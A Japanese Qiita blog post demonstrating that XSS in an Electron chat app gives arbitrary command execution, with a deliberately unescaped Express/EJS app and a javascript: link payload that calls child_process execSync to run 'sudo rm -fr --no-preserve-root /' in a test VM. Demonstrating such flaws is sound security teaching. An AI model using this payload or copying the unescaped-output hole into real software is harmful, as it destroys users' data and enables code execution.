Qiita Teams that are logged in
You are not logged in to any team

Log in to Qiita Team
Community
OrganizationAdvent CalendarQiitadon (β)
Service
Qiita JobsQiita ZineQiita Blog
350
Help us understand the problem. What is going on with this article?
@akameco

ElectronアプリのXSSでrm -fr /を実行する

More than 1 year has passed since last update.

Electronアプリでxssを発生させると任意のコードが実行できるらしいのでrm -fr /を試してみます。

想定

web版とelectron版のあるチャットアプリケーションという設定です。攻撃者が用意したリンクをクリックすると、PC内のすべてのファイルを消し去るというシチュエーションを考えてみます。

用意

環境はホストmac OSX、ゲストにubuntu14.04環境をvagrantを利用し用意しました。

expressでリストとフォームからなる脆弱性のあるチャットをつくります。エスケープ処理をしてないので、任意のコードが実行できる状況です。

server.js
'use strict';
const path = require('path');
const express = require('express');
const app = express();
const ejs = require('ejs');

app.engine('ejs', ejs.renderFile);
app.set('views', path.join(__dirname, 'views'));

const messages = ['hello', 'world'];

app.get('/', (req, res) => {
    res.render('index.ejs', {
        messages
    });
});

app.get('/post', (req, res) => {
    const {message} = req.query;
    if (message) {
        messages.push(message);
    }
    res.redirect('/');
});

app.listen(3000, () => {
    console.log('Example app listening on port 3000!');
});

<%= %>ではなく<%- %>を使うことでエスケープ処理を行わないようにしてます。

index.ejs
<!DOCTYPE html>
<html>
<head>
    <title>XSS</title>
</head>
<body>
    <form method="get" action="/post">
        <textarea name="message" cols="50" rows="7"></textarea>
        <input type="submit" />
    </form>
    <ul class="message--list">
        <% for(let msg of messages) { %>
            <li><%- msg %></li>
        <% } %>
    </ul>
</body>
</html>

さて、非常に簡易的ですが、上記のコードをElectronに組み込みます。

index.js
'use strict';
const electron = require('electron');
require('./server');
const {app} = electron;

let mainWindow;

function onClosed() {
    mainWindow = null;
}

function createMainWindow() {
    const win = new electron.BrowserWindow({
        width: 600,
        height: 400
    });

    win.loadURL(`http://127.0.0.1:3000`);
    win.on('closed', onClosed);

    return win;
}

app.on('window-all-closed', () => {
    if (process.platform !== 'darwin') {
        app.quit();
    }
});

app.on('activate', () => {
    if (!mainWindow) {
        mainWindow = createMainWindow();
    }
});

app.on('ready', () => {
    mainWindow = createMainWindow();
});

フォームとリストからなる簡易的なチャットアプリができました。

スクリーンショット 2016-05-21 09.28.42.png

実行

ubuntu14.04の仮想環境を用意してrm -fr /が実行されるのか試してみます。
フォームに以下の内容で投稿してみます。

<a href="javascript:
(() => {
    const {execSync} = require('child_process');
    execSync('sudo rm -fr --no-preserve-root /', {encoding: 'utf8'});
})();
">CLICK ME</a>

child_processを使えば任意のコマンドが実行できるので、rm -frを実行させます。これで、リンクをクリックするとPCが死にます。さよなら!

スクリーンショット 2016-05-21 09.57.30.png

死にました。

スクリーンショット 2016-05-21 19.14.49.png

ワンクリックですべてが吹き飛ぶの最高ですね。gifを撮り忘れたのが心残りです。

参考

以下のリンクがElectronにおけるセキュリティ対策について詳しくまとまっています。

electronの倒し方

まとめ

Electronアプリに脆弱性があるとwebにおける被害より、クリティカルな被害がでることが確認できました。

一応githubに今回試した脆弱性アプリを置いておいたので、試したい人はどうぞ。

350
Help us understand the problem. What is going on with this article?
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
akameco
シュレーディンガーの社会人.js

Comments

No comments
Sign up for free and join this conversation.
Sign Up
If you already have a Qiita account Login
350
Help us understand the problem. What is going on with this article?